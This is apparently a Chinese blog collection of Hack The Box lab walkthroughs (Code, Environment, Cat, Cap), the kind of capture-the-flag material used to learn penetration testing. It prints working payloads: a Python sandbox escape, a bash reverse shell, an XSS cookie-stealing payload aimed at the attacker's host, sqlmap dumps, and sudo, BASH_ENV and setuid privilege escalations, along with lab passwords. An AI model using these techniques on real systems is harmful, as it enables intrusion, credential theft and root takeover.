HTB-code

user

nmap扫描 nmap 10.10.11.62 -sV -A

发现开放了5000端口访问发现是个在线执行python代码的网页

可以进行命令执行

print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip())

然后直接在上层目录读到user.txt

print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip())

root

命令执行

1
2
3

print(''.__class__.__base__.__subclasses__()[317]('ls *',shell=True,stdout=-1).communicate()[0].strip())
#b'app.pyinstance:\ndatabase.db\n\n__pycache__:\napp.cpython-38.pyc\n\nstatic:\ncss\n\ntemplates:\nabout.html\ncodes.html\nindex.html\nlogin.html\nregister.html' 
发现有instance下有database.db 读一下试试看

于是可以拿到 martin的hash加密后的密码 3de6f30c4a09c27fc71932bfc68474be 就是 nafeelswordsmaster

然后使用ssh登录 ssh martin@10.10.11.62 提示输入密码输入就好了

输入sudo -l 回显

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh文件内容：

内容大概为三个功能：
1.输入检查，必须传入一个 JSON 文件路径（如 task.json），否则报错。检查文件是否存在。
2.路径过滤使用,jq 移除 directories_to_archive 中所有 ../（防止目录遍历攻击）。允许的路径范围限定在 /var/ 和 /home/。
3.路径权限检查,is_allowed_path() 函数检查路径是否以 /var/ 或 /home/ 开头（防止访问敏感路径如 /root/）。

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

task.json

其主要功能是过滤路径并检查允许的目录，先执行一下backy.sh，发现会生成一个压缩包

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

做法：

将备份目录修改为/home/….//root 并且要删除exclude: [“.*”]

为什么要删除？exclude: [".*"]导致/root文件夹被完全排除

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/....//root"
        ]
}

sudo /usr/bin/backy.sh task.json

执行ls 发现生成了压缩包使用tar -xjf code_home_.._root_2025_April.tar.bz2

再ls 发现生成了root目录进root目录读root.txt即可

HTB-Environment

惯例nmap先扫描10.10.11.67

nmap 10.10.11.67 -sV -A 没什么特别的常见的22和80端口

直接访问记得配host echo "10.10.11.67 environment.htb" | sudo tee -a /etc/hosts

访问后进入网站界面没发现什么特别的也没有可以点的东西上dirsearch扫描看看

扫出来登录路由进去尝试登录发现没什么用抓包下登录界面改下参数就出了报错界面 (这一步我是看wp才知道的告诉我们要多试试)

user

    $keep_loggedin = False;
} elseif ($remember == 'True') {
    $keep_loggedin = True;
}
if($keep_loggedin !== False) {

// TODO: Keep user logged in if he selects "Remember Me?"

}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

$user = User::where('email', $email)->first();

然后这里就有可以利用的点了

if(App::environment() == "preprod") {
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

这一段代码意思是 :当运行环境为 "preprod" 时，直接把 session 中的 user_id 设置为 1，并重定向到后台(常常用于开发者想偷懒直接让自己登陆的) 所以如果我们想登录满足这个就好

找到相关的CVE “https://github.com/Nyamort/CVE-2024-52301“

按照poc去打于是成功进入后台了！

在profile里找到一个上传文件的点

进行绕过加GIF89a 以及后缀加一个.

上传文件成功！然后连接antsword 然后就可以拿到第一个flag了

root

然后其实最好的做法是反弹shell 接下来我们打root也方便

cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/ip/1234+0%3E%261%27

反弹shell成功后切换到 /home/hish目录

发现了.gnupg目录

此时www-data用户是没有权限对hish用户进行解密的，但是我们可以尝试复制hish用户的gpg私钥进行解密

1	.gnupg 是 GnuPG（GPG）的配置与密钥目录，用于管理用户的加密密钥、配置文件、缓存等数据。

GPG 是 GNU 的 PGP 实现，主要用于：
加密/解密文件
签名文件/验证签名
生成/导入/管理加密密钥

首先把这个文件备份到其他目录

1	cp -r /home/hish/.gnupg/* /tmp/mygpg/

然后进入backup目录进行解密

1	gpg --homedir /tmp/mygpg --decrypt keyvault.gpg

<up$ gpg --homedir /tmp/mygpg --decrypt keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/mygpg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

然后按照hish用户登录

登陆过后 sudo -l得到

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

env_keep+="ENV BASH_ENV"
允许设置 BASH_ENV 环境变量，即允许通过该变量劫持 bash 启动时执行的脚本。

User hish may run the following commands:
可以使用 sudo 运行 /usr/bin/systeminfo（以 root 权限）

1	用 sudo 执行一个 bash 脚本（systeminfo），而 bash 会自动加载你用 BASH_ENV 注入的恶意脚本，从而实现以 root 权限执行任意命令！

使用命令

1
2
3

echo 'exec /bin/bash' > /tmp/exploit.sh
sudo BASH_ENV=/tmp/exploit.sh /usr/bin/systeminfo
//输入marineSPm@ster!!

即可成功登录

HTB-Cat

还是nmap先扫描正常开放22和80端口配个host先

1	echo "10.10.11.53 cat.htb" \| sudo tee -a /etc/hosts

访问是个网站有注册点登陆进去找到一个可以文件上传的点尝试了下发现没有可利用的点因为是白名单只能传图片

于是dirsearch继续信息收集结果扫出来一堆.git的目录

user

使用Githack获取源代码

然后开始审计吧有很多个php文件

但是其实跟我现在做的网站有关的只有部分剩下的比如admim.php accept_cat.php 等我们暂时在网站中还没见到但是你审计这些代码后就会发现这个网站还有一个admin的存在并且使用session来验证是否为admin 当你上传你的猫儿资料过后 admin会来查看它可以进行查看接收拒绝的操作(对应三个php代码)

所以我们很容易联想到xss的一类攻击手法窃取管理员cookie伪造其登录

这里审计出大概存在xss 去这六个东西对应的php文件最终锁定了注入点在登录框

注册帐号为<img src=x onerror="document.location='http://10.10.14.58/?cookie='+document.cookie" /> 密码随便

进入上传猫咪资料的界面上传同时开启监听 python3 -m http.server 80

成功拿到admin的cookie！

修改cookie后成功进入admin页面

抓包

这里有sql注入漏洞使用sqlmap进行注入

将reqeust保存为1.txt 然后使用sqlmap注入得到数据库

1
2

sqlmap -r request.txt -p catName --dbms sqlite --level 5 --risk 3 --tables --threads 10 --batch
sqlmap -r request.txt -p catName --dbms sqlite --level 5 --risk 3 -T users --dump --threads 10 --batch

由源码知道使用axel登录但是这个密码我没办法破解尝试后rosa的密码可以知道 ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa

登录到这个用户但是我们的核心目的还是登录axel 想办法拿到他的密码

发现rosa 还属于 adm 组（GID 4），通常用于系统日志访问权限。我们去看看日志吧

日志一般在/var/log下然后成功找到密码

使用ssh登录axel即可然后在目录下找到user.txt成功读取

root

登录axel的时有

说我有邮件那就去看看什么邮件

HTB-Cap

首先扫描发现开放 22 21 80端口

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.10.10.245   
sh: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8): No such file or directory
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-04 01:40 EST
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 21.24 seconds

访问web界面发现是Colorlib 这个是wordpress的一个插件本来我以为考的是wp的漏洞搜寻和使用wpscan扫了一下没有什么发现

看网站吧

他有一个下载功能可以下载流量包流量包下载是有编号的现在就考察平常的渗透能力发现/data/下载的是对应编号的流量包那么我们尝试/data/0 果然下载下来一个流量包查看发现 http和ftp流量刚好前面对应开了ftp的21端口

可以得到帐号和密码

1 2	nathan Buck3tH4TF0RM3!

user

ftp登录

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp cap.htb
Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||47686|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Jan 04 02:37 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||37352|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***************************************************************************************************************************|    33      555.62 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.11 KiB/s)xxxxxxxxxx ftp cap.htb┌──(kali㉿kali)-[~/Desktop]└─$ ftp cap.htbConnected to cap.htb.220 (vsFTPd 3.0.3)Name (cap.htb:kali): nathan331 Please specify the password.Password: 230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> dir229 Entering Extended Passive Mode (|||47686|)150 Here comes the directory listing.drwxrwxr-x    4 1001     1001         4096 Jan 04 06:13 CVE-2021-4034-main-rw-rw-r--    1 1001     1001         6457 Jan 04 06:11 CVE-2021-4034-main.zip-rwxrwxrwx    1 1001     1001       975444 Jan 04 06:25 linpeas.shdrwxr-xr-x    3 1001     1001         4096 Jan 04 06:10 snap-r--------    1 1001     1001           33 Jan 04 02:37 user.txt226 Directory send OK.ftp> get user.txtlocal: user.txt remote: user.txt229 Entering Extended Passive Mode (|||37352|)150 Opening BINARY mode data connection for user.txt (33 bytes).100% |***************************************************************************************************************************|    33      555.62 KiB/s    00:00 ETA226 Transfer complete.33 bytes received in 00:00 (0.11 KiB/s)

即可拿到第一个flag

root

ssh登录

1	ssh nathan@cap.htb

这里需要提权首先我使用的是

1	find / -perm -u=s -type f 2>/dev/null

没找到什么有用的这时候可以使用 linpeas.sh

这是收集linux机器信息的一个工具

使用curl下载即可

1 2	chmod 777 linpeas.sh ./linpeas.sh

就可以找到

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

cap_setuid：允许程序修改用户ID

这意味着 Python 可以调用 setuid() 系统调用普通用户可以运行 Python 脚本将自己变成 root

1
2
3

import os
os.setuid(0)
os.system("/bin/bash")

即可提权

HTB-wp-长期更新

HTB-code

user

root

做法：

HTB-Environment

user

root

HTB-Cat

user

root

HTB-Cap

user

root

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip